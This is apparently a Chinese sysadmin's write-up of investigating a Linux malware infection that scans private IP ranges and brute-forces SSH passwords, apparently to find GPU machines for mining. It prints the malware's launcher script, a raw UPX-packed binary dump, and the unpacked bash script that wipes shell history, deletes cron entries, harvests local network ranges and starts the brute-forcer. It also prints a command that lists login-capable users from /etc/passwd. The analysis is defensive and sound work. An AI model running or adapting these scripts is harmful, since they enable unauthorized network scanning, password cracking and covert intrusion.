病毒排查2
这次发现的病毒可以在htop
中观察到:
./parse 300 scan.log 9 XXXXX
用find
命令找到parse
所在文件夹,发现是在mnt/.w
文件夹中,里面还有其他的一些文件
a arch.lst b1 banner banner.log exclude.lst found.lst gasite generate gpu.lst lan m openssh parse pass paused.conf pfile placi scan.log scnX sort xab xac
其中,lan
的内容如下:
rm -rf /etc/sysctl.conf ; echo "fs.file-max = 2097152" > /etc/sysctl.conf ; sysctl -p ; ulimit -Hn ; ulimit -n 999999 -u 999999
./m -p 22 --range 172.26.0.0/16 --range 172.28.0.0/16 --range 172.25.0.0/16 --range 172.16.0.0/16 --range 172.17.0.0/16 --range 172.18.0.0/16 --range 172.20.0.0/16 --range 172.27.0.0/16 --range 172.22.0.0/16 --range 172.31.0.0/16 --range 172.30.0.0/16 --range 192.168.0.0/16 --range 10.0.0.0/8 --rate 30000 >input.txt
sleep 5
./sort input.txt ; rm -rf input.txt
./banner b -t 500
sleep 3 ; pkill banner ; rm -rf scan.log
./openssh
./pfile
rm -rf /etc/sysctl.conf ; echo "fs.file-max = 2097152" > /etc/sysctl.conf ; sysctl -p ; ulimit -Hn ; ulimit -n 999999 -u 999999
./parse 100 scan.log 9 $1
可见它修改了/etc/sysctl.conf
文件,指定了系统最大的文件句柄数量;之后运行了一些可执行文件。
scnX
文件内容如下:
ELF ?@4 4 @ @i i @ @ O讓
UPXm
? ? ? X ?魁#!/binash
unset HISTORY鰮?FILESAVZONE"熿LOG ; export3=/de衮咠v/nullSIZ0.鞐?K
histy -rc巅 rmfr /??c/cron.weekly/sync > s鶗?>&1-hour莓谰dai,mthA偈?/竛鸇./pfMe
# Fu tilo呲- q pri5 scp?6志usag _() {
echo "."
}
if [ €近?N-eq 0 ];hen-?痦Er時: Pargumei扮董m鐂^gA(j諾{8xi"]斗鰞8="&梍ra0e殿pa<
wh?蒈翻赖sib:" 乨of画岶c'$ i惪, b)
W$OPTv?鯝RG";;\?9名?軮nvalidwJF柪6?F囔[? 鑡:p醖?Ohg rv&〉vui^.m皪蕔Nad诓癴ecsf%((H鴚pIND-1))"?秢?1h-n?"gXs31&皁aC?[kg?~ ^[0-9]+\.$12躚x 踠_2addY沧0bMpA疵H凫ls晋v醰霫P / fma?U1f顑絛 xx.M箶?╈徽
搒l)Itp?^a=?i |祑k兜? 'NF>=3 &&??肟羧B$/鈍sub(nK/\(|\)/,_,8);8(眺砹A(10.|1729l7?)甤}'x-F绦0烩'{??+狁cs
-u覹橇絖济AS╩y7`?=grepEY?,d荵
巡B[?
}>~┬voP?sY蔏[\d.Z鞚?vY?耝?'?%萟?ComB睪S塭`苄.蹿r絩fe佇:8?c1(a!"晼繰栶!ce ,d脭奥^\nwV踙Lk?√68tp薿$is nop9T觾戆媎qt鴪朼?l?!Z?`?W4?+=$-絾猾'tm涆
俳p瀢媓Vk锘w僺?4u?苩;ltdv€%羋5BB(紞?9嗬柪%K"@縁zn?笲聳0?u呿鈒Ux/aK9鳬? FS=獻落冖9?x 焑!=I瑒?7d
x`(
P0@Te疈@*{F1{鄁.漙`!扻茹侄gn.bDlka??沝q琛}b?H < =蠩)@S-?煃'a'縡?p?x*sab[d馉Y9%T峔;N?=?YsWE櫒m詷*滳v盙旷?mv s.tx?.log齣?lp"s/7:L/g"祁鑜FArjob?鐴j1鮤o'捭碪滈m婝W焧.X.hr?s踨f`垓治6tl.n;訊Ff枻-H|3? [?097152>1
jQ甓Opuh娕秬mHn9
?u+岏h蒼?00?>UBt{"@ $ UPX! 鑻 `鼖t$$媩$,兺?悙悙?F?G踰?冾?蹔r敫 踰?冾???踫飖 ?冾?踫?蓛?r
拎?F凁tv壟踰?冾???踰?冾??蓇 A踰?冾???踫飖 ?冾?踫鋬?価 ?冄?/凖鼕v?B?GIu鏖^?兟?兦冮w?祥H婽$$T$(9謙H+|$,婽$0?塂$a? $Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 4.21 Copyright (C) 1996-2023 the UPX Team. All Rights Reserved. $
]? @崘? @H % ?j jj2j2P夈jZX蛝兡峏夋侅P 夌吚u珔纔鶺@jRY螳H_瓍缿璽凒*s魤L哮塂宵腙侅
搵
媄壠`栾 YPa伳
YZRAV冾f?-cAVARQW嵓$ ?`夈夵估 1荔珘躠f?$t肵Y[?宊^]U夡? t? t鯄瘳< t< t<
u衿 1?
t? t? t?
t峃?
uF VW?QU夅jX蛝髫搄X蛝鬝峔$jZX蛝[? WVS壝媩$98媝s
j[jX蛝膻?t
夰?F?B怿{);[^_脜覊裻? @恸肬1蓧錡VS壝冹4塙饗E壥塃靔X蛝吚塃鑩
j[jX蛝膻? 媇鑻M餵X蛝= u邒U餱? f儂叓 R1缷M餱儁塙鋲褘U?暲穁,拎兝"兿塃詨?襀x!夀?u婣9鴖壡媃?趕壼兞 Nu狯E?t売j-X蛝夳j 併 ?j)?u詬? j% ?PS柢?兡)厍E? 塃鄫E餱儀, 匃 婾鋴凐u婤婱靿A槿 H吜 媇淝E谸bQs婯婥冡玲壜觤貗M?S壝媦併 婱??邇e?蕧4塙虌U鋴B)豍u鑚jWV鐹?兡9苪0壼夝鑨?夰髻?>佱 夡壥塎需_?夰婾豭}X蛝吚t
j[jX蛝膻婾袓?;]蘳j jj2u?]?u蘏桄?兡9胾虌M?E?稟,僂?9E??媇鑚X蛝吚uU饗E?B峞鬧^_擅U夊WVS冹$島 婨峕婾塃詪E$媫塙? 塃饗E? 儅 塃?剬 峌軌豭鑞?X婨軏M鄥纔侚UPX!u? th?吷u
j[jX蛝膻9羨?w?羢-塃貚E?u銹vQsU詢?吚u蠇E?E豼菋E?C)?媀壺Q??Y婾軏V)袇缐閚婨鞁U袏婨炱 婨餡??壠婨靸??? Ztu?婤j 婾需酎壠X隷婾?汕G 稡*荊 荊 荊( 塆稡,荊, 墂D兟4荊@ 塆$婨衒媂,f呟t?t欰访兟 9羭饓饙e鬧^_擅UPX!
BX∕?Z? X ? P€
发现有cron.weekly
,可能对定时启动任务有关,所以对这个文件要特别关注。但是目前无法对文件进行分析,不过发现This file is packed with the UPX executable packer
这句话,说明这个文件被加壳了,所以需要下载UPX软件进行解壳。于是,在http://upx.sourceforge.net下载了Windows版本,然后打开cmd
,在目录下输入upx.exe -d scnX
命令进行解壳,得到:
#!/bin/bash
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG ; export HISTFILE=/dev/null ; export HISTSIZE=0; export HISTFILESIZE=0
history -rc
history -rc
history -rc
history -rc
history -rc
history -rc
history -rc
history -rc
history -rc
history -rc
history -rc
history -rc
history -rc
history -rc
history -rc
history -rc
history -rc
history -rc
history -rc
history -rc
history -rc
history -rc
history -rc
history -rc
rm -fr /etc/cron.weekly/sync > /dev/null 2>&1
rm -fr /etc/cron.hourly/sync > /dev/null 2>&1
rm -fr /etc/cron.daily/sync > /dev/null 2>&1
rm -fr /etc/cron.monthly/sync > /dev/null 2>&1
rm -fr /etc/cron.weekly/sync > /dev/null 2>&1
rm -fr /etc/cron.hourly/sync > /dev/null 2>&1
rm -fr /etc/cron.daily/sync > /dev/null 2>&1
rm -fr /etc/cron.monthly/sync > /dev/null 2>&1
rm -fr /etc/cron.weekly/sync > /dev/null 2>&1
rm -fr /etc/cron.hourly/sync > /dev/null 2>&1
rm -fr /etc/cron.daily/sync > /dev/null 2>&1
rm -fr /etc/cron.monthly/sync > /dev/null 2>&1
rm -fr /etc/cron.weekly/sync > /dev/null 2>&1
rm -fr /etc/cron.hourly/sync > /dev/null 2>&1
rm -fr /etc/cron.daily/sync > /dev/null 2>&1
rm -fr /etc/cron.monthly/sync > /dev/null 2>&1
rm -fr /etc/cron.weekly/sync > /dev/null 2>&1
rm -fr /etc/cron.hourly/sync > /dev/null 2>&1
rm -fr /etc/cron.daily/sync > /dev/null 2>&1
rm -fr /etc/cron.monthly/sync > /dev/null 2>&1
rm -fr /etc/cron.weekly/sync > /dev/null 2>&1
rm -fr /etc/cron.hourly/sync > /dev/null 2>&1
rm -fr /etc/cron.daily/sync > /dev/null 2>&1
rm -fr /etc/cron.monthly/sync > /dev/null 2>&1
./pfile
# Function to print script usage
print_usage() {
echo "........."
}
if [ $# -eq 0 ]; then
echo "Error: Port argument missing."
print_usage
exit 1
fi
port=""
ip_range=""
pass=""
while getopts "b:" opt; do
case $opt in
b)
ip_range="$OPTARG"
;;
\?)
echo "Invalid option: -$OPTARG"
print_usage
exit 1
;;
:)
echo "Option -$OPTARG requires an argument."
print_usage
exit 1
;;
esac
done
shift "$((OPTIND-1))"
if [ $# -eq 0 ]; then
echo "Error: Port argument missing."
print_usage
exit 1
fi
port="$1"
if [ -n "$2" ]; then
pass="$2"
fi
if [ -n "$ip_range" ]; then
if [[ "$ip_range" =~ ^[0-9]+\.[0-9]+$ ]]; then
all_ip_addresses="$ip_range"
else
echo "Error: Invalid IP range format. Use the format xx.xx."
print_usage
exit 1
fi
else
last_output=$(last -i | awk 'NF>=3 && $3 ~ /^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$/ {gsub(/\(|\)/,"",$3); if ($3 ~ /^(10\.|172\.|192\.)/) print $3}' | awk -F. '{print $1"."$2}' | sort -u)
all_ip_addresses_last=$(echo -e "$last_output" | grep -E '^[0-9]+\.[0-9]+' | sort -u)
ip_r_output=$(ip r | grep -oP 'src \K[\d.]+' | grep -vE '^172\.17\.')
all_ip_addresses_ip_r=$(echo -e "$ip_r_output" | grep -E '^[0-9]+\.[0-9]+' | sort -u)
# Combine IP addresses from different sources
all_ip_addresses_last=$(echo -e "$all_ip_addresses_last" | awk -F. '{print $1"."$2}' | sort -u)
all_ip_addresses_ip_r=$(echo -e "$all_ip_addresses_ip_r" | awk -F. '{print $1"."$2}' | sort -u)
all_ip_addresses=$(echo -e "$all_ip_addresses_last\n$all_ip_addresses_ip_r" | sort -u)
# Check if "192.168" is not present and add it to the last line
if [[ ! "$all_ip_addresses" =~ "192.168" ]]; then
all_ip_addresses+=" 192.168"
fi
fi
# Replace spaces with newlines to separate IP addresses
filtered_ips=$(echo "$all_ip_addresses" | tr ' ' '\n' | sort -u)
if [ -n "$filtered_ips" ]; then
echo "Found IP:"
echo -e "$filtered_ips"
if [ -x "./a" ]; then
while IFS= read -r ip; do
if [[ "$ip" != "172.17" ]]; then
echo "Processing IP address: $ip"
./a "$ip" "$port"
else
echo "Ignoring Docker-related IP address: $ip"
fi
done <<< "$filtered_ips"
else
echo "Error: Script 'a' not found or not executable."
exit 1
fi
else
echo "No relevant IP addresses found."
fi
echo "Remove file"
mv bios.txt scan.log
sed -i "s/$/:$port/g" scan.log
echo "All job done"
# Run the scan command with the provided arguments
rm -rf /etc/sysctl.conf ; echo "fs.file-max = 2097152" > /etc/sysctl.conf ; sysctl -p ; ulimit -Hn ; ulimit -n 999999 -u 999999
./parse 400 scan.log 9 "$pass"
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG ; export HISTFILE=/dev/null ; export HISTSIZE=0; export HISTFILESIZE=0
可见该文件对系统文件没怎么修改,只是修改了一些设置。
还有一个文件里面有这样一个命令
cat /etc/passwd |grep -v nologin |grep -v false |grep -v sync |grep -v halt|grep -v shutdown|cut -d: -f1 ....
应该是从这些用户出发,来破解它们的密码。
针对上述观察,还原了系统设置以及系统文件内容,并杀死了相关进程。
其余文件是一些可执行文件、中间结果记录文件以及脚本文件(没有修改系统设置或文件),从中间结果文件推断出,这个病毒目的是寻找一段ip范围内的机器,并尝试破解其密码,登录后查看是否有GPU,如果有可能会利用GPU挖矿。由于本机没有GPU,所以该病毒是用本机来寻找资源了。
最后,为了一劳永逸,直接把密码登录给禁止了,只允许用密钥登录。